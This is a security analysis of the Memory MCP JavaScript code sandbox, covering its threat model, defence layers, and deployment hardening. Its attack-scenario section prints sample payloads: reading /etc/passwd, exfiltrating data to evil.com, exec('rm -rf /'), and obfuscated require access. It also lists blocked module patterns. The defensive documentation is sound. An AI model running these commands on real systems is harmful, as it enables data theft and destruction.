# Security Analysis: Memory MCP Code Sandbox

## Overview

This document provides a comprehensive security analysis of the Memory MCP code execution sandbox. The sandbox is designed to execute potentially untrusted TypeScript/JavaScript code with multiple layers of protection.

## Threat Model

### Attacker Capabilities

We assume an attacker can:
- Submit arbitrary JavaScript/TypeScript code for execution
- Craft code to attempt various escape techniques
- Use obfuscation to hide malicious intent
- Attempt resource exhaustion attacks
- Try to exfiltrate data or execute commands

### Assets to Protect

1. **Host System**: Files, processes, network
2. **Other Executions**: Isolation between concurrent runs
3. **Confidential Data**: Environment variables, memory contents
4. **System Resources**: CPU, memory, disk, network

## Security Layers

### Layer 1: Input Validation

**Purpose**: Prevent malicious code from reaching execution stage

**Mechanisms**:
- Code length limit (100KB)
- Pattern-based malicious code detection
- Blocked patterns:
  - `require('fs')`, `require('http')`, `require('https')`
  - `require('child_process')`, `exec()`, `spawn()`
  - `eval()`, `new Function()`
  - `while(true)`, `for(;;)`
  - `fetch()`, `WebSocket`, `XMLHttpRequest`

**Limitations**:
- Pattern matching can be bypassed with obfuscation
- New attack vectors may not be detected

**Mitigations**:
- Regular updates to pattern list
- Multiple layers of defense beyond detection

### Layer 2: Process Isolation

**Purpose**: Contain code execution in separate process

**Mechanisms**:
- Each execution spawns new Node.js process
- Process killed on timeout or completion
- No shared state between executions
- Restricted global object access

**Protections**:
```javascript
delete global.process;
delete global.require;
delete global.module;
delete global.__dirname;
delete global.__filename;
```

**Limitations**:
- Node.js may have undiscovered escape techniques
- Process spawning has overhead (~50ms)

**Mitigations**:
- Keep Node.js version updated
- Monitor for security advisories
- Use `kill_on_drop` to ensure cleanup

### Layer 3: Timeout Enforcement

**Purpose**: Prevent infinite loops and resource exhaustion

**Mechanisms**:
- Tokio timeout wrapper (enforced by Rust runtime)
- Internal JavaScript timeout (enforced within sandbox)
- Process killed if timeout exceeded

**Configuration**:
- Default: 5000ms
- Restrictive: 3000ms
- Permissive: 10000ms

**Limitations**:
- Async operations may slightly exceed timeout
- CPU-bound loops may consume CPU until timeout

**Mitigations**:
- Conservative timeout values
- Process termination guarantees cleanup
- Pattern detection for obvious infinite loops

### Layer 4: Resource Limits

**Purpose**: Prevent resource exhaustion attacks

**Mechanisms**:
- Memory limit configuration (not enforced)
- CPU limit configuration (not enforced)
- Process-level resource controls

**Current Status**: ⚠️ **ADVISORY ONLY**

These limits are documented but not actively enforced. They serve as:
- Documentation of intended limits
- Configuration for future enforcement
- Guidance for deployment

**Recommended Improvements**:
1. Use cgroups on Linux for hard memory/CPU limits
2. Integrate with container orchestration for resource control
3. Add memory monitoring in wrapper code

### Layer 5: Access Controls

**Purpose**: Prevent unauthorized access to system resources

**File System**:
- Default: Denied (all access attempts blocked)
- Permissive: Allowed with whitelist
- Pattern detection at code level
- Global deletion at runtime

**Network**:
- Default: Denied (all network modules blocked)
- Pattern detection for http, https, net, fetch, WebSocket
- No configuration to enable (not implemented)

**Subprocesses**:
- Default: Denied (child_process blocked)
- Pattern detection for exec, spawn, fork
- No configuration to enable

**Limitations**:
- Relies on pattern detection
- New APIs or methods may bypass detection

### Layer 6: Output Sanitization

**Purpose**: Prevent data exfiltration through output

**Mechanisms**:
- Structured output parsing
- stdout/stderr capture
- Error message sanitization

**Current Implementation**:
```rust
let stdout = String::from_utf8_lossy(&output.stdout).to_string();
let stderr = String::from_utf8_lossy(&output.stderr).to_string();
```

**Limitations**:
- No active sanitization of output content
- Sensitive data in output is returned as-is

**Recommended Improvements**:
1. Scan output for sensitive patterns (API keys, tokens)
2. Limit output size
3. Redact known sensitive formats

## Attack Scenarios

### 1. File System Access

**Attack**: Read sensitive files
```javascript
const fs = require('fs');
const data = fs.readFileSync('/etc/passwd', 'utf8');
console.log(data); // Exfiltrate via output
```

**Defense**:
- Pattern detection blocks `require('fs')`
- Returns `SecurityViolation` before execution
- ✅ **PROTECTED**

### 2. Network Exfiltration

**Attack**: Send data to external server
```javascript
const https = require('https');
https.get('https://evil.com/exfil?data=' + sensitiveData);
```

**Defense**:
- Pattern detection blocks `require('https')`
- Returns `SecurityViolation` before execution
- ✅ **PROTECTED**

### 3. Command Execution

**Attack**: Execute system commands
```javascript
const { exec } = require('child_process');
exec('rm -rf / --no-preserve-root');
```

**Defense**:
- Pattern detection blocks `require('child_process')`
- Returns `SecurityViolation` before execution
- ✅ **PROTECTED**

### 4. Resource Exhaustion

**Attack**: Consume all available resources
```javascript
const huge = new Array(999999999);
while(true) { huge.push(new Array(999999)); }
```

**Defense**:
- Timeout kills process after configured time
- Pattern detection blocks `while(true)`
- ⚠️ **PARTIALLY PROTECTED** (may consume CPU until timeout)

### 5. Code Injection via String Manipulation

**Attack**: Bypass pattern detection
```javascript
const fs = globalThis[('req' + 'uire')]('f' + 's');
```

**Defense**:
- Global require deleted in wrapper
- Process isolation limits access
- ⚠️ **PARTIALLY PROTECTED** (obfuscation may bypass pattern detection)

### 6. Prototype Pollution

**Attack**: Modify object prototypes
```javascript
Object.prototype.isAdmin = true;
Array.prototype.slice = () => ['evil'];
```

**Defense**:
- Process isolation prevents cross-execution pollution
- No persistence between executions
- ✅ **PROTECTED** (limited to single execution)

### 7. Timing Attacks

**Attack**: Infer information from execution time
```javascript
const start = Date.now();
// Sensitive operation
const elapsed = Date.now() - start;
```

**Defense**:
- No active defense
- Execution time is exposed in result
- ❌ **NOT PROTECTED**

**Recommendation**: If timing attacks are a concern, add jitter to execution timing.

## Security Recommendations

### Immediate Actions

1. ✅ **Implemented**: Pattern-based detection
2. ✅ **Implemented**: Process isolation
3. ✅ **Implemented**: Timeout enforcement
4. ✅ **Implemented**: Comprehensive test coverage

### Short-term Improvements

1. **Add VM2 or Isolated-VM**: More robust JavaScript isolation
2. **Enforce Resource Limits**: Use cgroups or containers
3. **Output Sanitization**: Scan for sensitive data patterns
4. **Rate Limiting**: Limit executions per time period
5. **Audit Logging**: Log all executions with code hash

### Long-term Enhancements

1. **WebAssembly Sandbox**: Consider Deno or wasmtime for better isolation
2. **Static Analysis**: Add AST parsing for deeper code analysis
3. **Machine Learning**: Train model to detect malicious patterns
4. **Hardware Isolation**: Run in separate containers or VMs
5. **Capability-based Security**: Fine-grained permission system

## Deployment Recommendations

### Production Environment

```bash
# Run in container with resource limits
docker run --cpus=0.5 --memory=256m \
  --network=none \
  --read-only \
  --security-opt=no-new-privileges \
  do-memory-mcp-server

# Or use cgroups directly
cgcreate -g memory,cpu:/sandbox
cgset -r memory.limit_in_bytes=268435456 sandbox  # 256MB
cgset -r cpu.cfs_quota_us=50000 sandbox           # 50% CPU
cgexec -g memory,cpu:sandbox ./do-memory-mcp-server
```

### Kubernetes Deployment

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: do-memory-mcp-server
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
  containers:
  - name: mcp-server
    image: do-memory-mcp:latest
    resources:
      limits:
        memory: "256Mi"
        cpu: "500m"
      requests:
        memory: "128Mi"
        cpu: "250m"
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop:
        - ALL
```

## Security Checklist

Before deploying:

- [ ] Update Node.js to latest LTS version
- [ ] Review and update malicious pattern list
- [ ] Configure appropriate timeout values
- [ ] Set up monitoring and alerting
- [ ] Implement rate limiting
- [ ] Enable audit logging
- [ ] Run security penetration tests
- [ ] Review container/cgroup configuration
- [ ] Set up network isolation
- [ ] Configure backup and recovery

## Incident Response

If security breach suspected:

1. **Immediate**: Stop all code executions
2. **Isolate**: Quarantine affected systems
3. **Analyze**: Review logs and execution history
4. **Patch**: Update sandbox and deploy fixes
5. **Monitor**: Watch for similar attack patterns
6. **Report**: Document incident and lessons learned

## Responsible Disclosure

Security vulnerabilities should be reported to:
- Email: security@example.com
- GitHub Security Advisory: (create private advisory)

Do NOT create public issues for security vulnerabilities.

## Conclusion

The Memory MCP code sandbox implements multiple layers of security suitable for executing potentially untrusted code. While no sandbox is 100% secure, the defense-in-depth approach significantly reduces attack surface.

**Security Rating**: ⭐⭐⭐⭐☆ (4/5)

**Recommendation**: Suitable for production use with proper deployment configuration and monitoring.

**Last Updated**: 2025-11-06
